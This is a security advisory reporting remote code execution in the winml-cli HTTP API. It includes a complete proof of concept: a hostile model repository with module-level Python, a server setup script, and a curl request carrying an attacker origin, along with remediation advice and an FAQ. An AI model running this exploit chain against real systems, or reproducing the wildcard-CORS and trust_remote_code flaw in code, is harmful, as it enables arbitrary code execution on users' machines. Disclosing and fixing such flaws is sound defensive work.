GHSA-96p9-rh4f-92cf: Pip/winml-cli vulnerability
Case Description:
MSRC Notes: Attachments: 1 file(s) attached (1 mp4) Summary: The vulnerability lies in the 'serve/cliapi.py' component of the 'winml-cli' project, which exposes all winml CLI commands over HTTP without authentication. Although it binds to localhost by default, it sets 'alloworigins' to a wildcard, allowing any website to interact with the endpoint. This, combined with the '--trust-remote-code' flag in 'build' and 'config' commands, enables an attacker to execute arbitrary code by hosting a malicious model repository. The root cause is the lack of proper authentication and validation of the 'trustremotecode' parameter, leading to Remote Code Execution (RCE).
Finder Description: WARNING: Original content contained invalid characters. Please see original submission in the event that the characters removed are relevant for the PoC.
serve/cliapi.py exposes every winml CLI command over HTTP with no authentication. That's defensible on its own - it binds 127.0.0.1 by default, so the audience is this machine. But it also sets alloworigins=[""] (cliapi.py:150, duplicated at app.py:219), and the victim's browser is a local process: the wildcard lets any website call the endpoint and read the reply, erasing the boundary the loopback bind draws.
build and config both accept --trust-remote-code, and a JSON true becomes that flag unfiltered. An attacker-named model repo reaches AutoConfig.frompretrained(..., trustremotecode=True) (autoconfig.py:191), where transformers imports Python from that repo - RCE as the server user from any page the victim loads. The payload runs on import, so the command's exitcode: 1 is irrelevant.
Reported Repro Steps:
1. Setup
git clone -q https://github.com/microsoft/winml-cli.git ~/winml-poc && cd ~/winml-poc && mkdir -p temp /tmp/poc/evil/pwn python3 -m pip install -q --target /tmp/poc/deps onnx onnxruntime transformers fastapi uvicorn click 2. Hostile model repo (payload is module-level → runs on import)
cat > /tmp/poc/evil/pwn/config.json <<'EOF' {"modeltype":"pwn","automap":{"AutoConfig":"configurationpwn.PwnConfig"}} EOF cat > /tmp/poc/evil/pwn/configurationpwn.py <<'EOF' import getpass, os, socket, time from transformers import PretrainedConfig with open(os.environ["PWNMARKER"], "w") as f: f.write(f"ARBITRARY CODE EXECUTION\ntime={time.strftime('%F %T')}\n" f"user={getpass.getuser()}\nhost={socket.gethostname()}\npid={os.getpid()}\n") class PwnConfig(PretrainedConfig): modeltype = "pwn" EOF 3. Start server
Windows: python -m uvicorn winml.modelkit.serve.cliapi:app --host 127.0.0.1 --port 8000
Linux needs a stub for the Windows-only PDH module (no security relevance):
cat > /tmp/poc/serve.py <<'EOF' import os, sys, types, uvicorn m = types.ModuleType("winml.modelkit.session.monitor.pdh") class PdhPoller: def init(s,a,k): pass def start(s,a,k): pass def stop(s,a,k): pass def poll(s,a,k): return {} def sample(s,a,k): return {} def close(s,a,k): pass m.PdhPoller = PdhPoller; m.PDHAVAILABLE = False sys.modules["winml.modelkit.session.monitor.pdh"] = m from winml.modelkit.serve.cliapi import app uvicorn.run(app, host="127.0.0.1", port=8000, loglevel="warning") EOF cd ~/winml-poc && PWNMARKER=~/winml-poc/temp/PWNED PYTHONPATH=src:/tmp/poc/deps setsid nohup python3 /tmp/poc/serve.py >/tmp/poc/log 2>&1 </dev/null & sleep 8; until curl -sf -o /dev/null -m 1 http://127.0.0.1:8000/openapi.json; do sleep 1; done; echo up 4. Exploit
curl -s -D- -o /dev/null -X POST http://127.0.0.1:8000/v1/cli/build \ -H 'Origin: https://evil.example' -H 'Content-Type: application/json' \ -d '{"args":{"model":"/tmp/poc/evil/pwn","outputdir":"/tmp/poc/out","trustremotecode":true}}' \ | grep -iE '^HTTP|^access-control-allow-origin' cat ~/winml-poc/temp/PWNED HTTP/1.1 200 OK access-control-allow-origin: ARBITRARY CODE EXECUTION time=2026-08-17 11:24:35 user=shrini host=Shrinivasan pid=11616
Affected Software
Remediation
Recommended actions to resolve this vulnerability, in priority order.
- Upgrade
Upgrade
pip/winml-clito a version that resolves this vulnerability.Fixed in 0.4.0 - Configuration
Set CORS allow_origins to a specific trusted origin (avoid wildcard "*") in serve/cli_api.py (cli_api.py:150; also duplicated at app.py:219) so the localhost-bound endpoint cannot be called from arbitrary websites.
winml-cli (serve/cli_api.py / app.py) allow_origins = ["*"] - Configuration
Do not accept or pass the --trust-remote-code flag / JSON trust_remote_code=true from untrusted input. Enforce trust_remote_code=false (or ignore user-supplied trust_remote_code) so AutoConfig.from_pretrained(..., trust_remote_code=True) cannot import attacker-controlled Python from remote model repositories (serve/cli_api.py:_autoconfig.py:191).
winml-cli / Hugging Face Transformers integration (trust_remote_code) trust_remote_code = false - Compensating control
Add authentication/authorization to the HTTP endpoints that expose winml CLI commands (serve/cli_api.py) and block unauthenticated access to routes like /v1/cli/build and /v1/cli/config, since the project exposes all winml CLI commands over HTTP without authentication.
Event History
Frequently Asked Questions
Who is exposed to this issue?
Users running the winml-cli HTTP service on their local machine are exposed if they visit a malicious website. The service binds to localhost by default, but its wildcard CORS policy allows websites to send requests to that local endpoint through the victim's browser.
What does an attacker need to achieve code execution?
An attacker needs to induce a user with the local service running to visit an attacker-controlled website. The attack uses the HTTP API to invoke build or config commands with trust_remote_code enabled and a malicious model repository.
Does this require the service to be publicly reachable?
No. The described attack targets the localhost-bound service through the user's browser, so external network exposure is not required. Wildcard allowed origins permit a remote website to interact with the local HTTP API.
How can I identify a potentially affected setup?
Check whether winml-cli is running its HTTP API service and whether the deployed code exposes CLI commands without authentication while allowing all origins. Setups where build or config commands can receive the trust_remote_code parameter are relevant to the described execution path.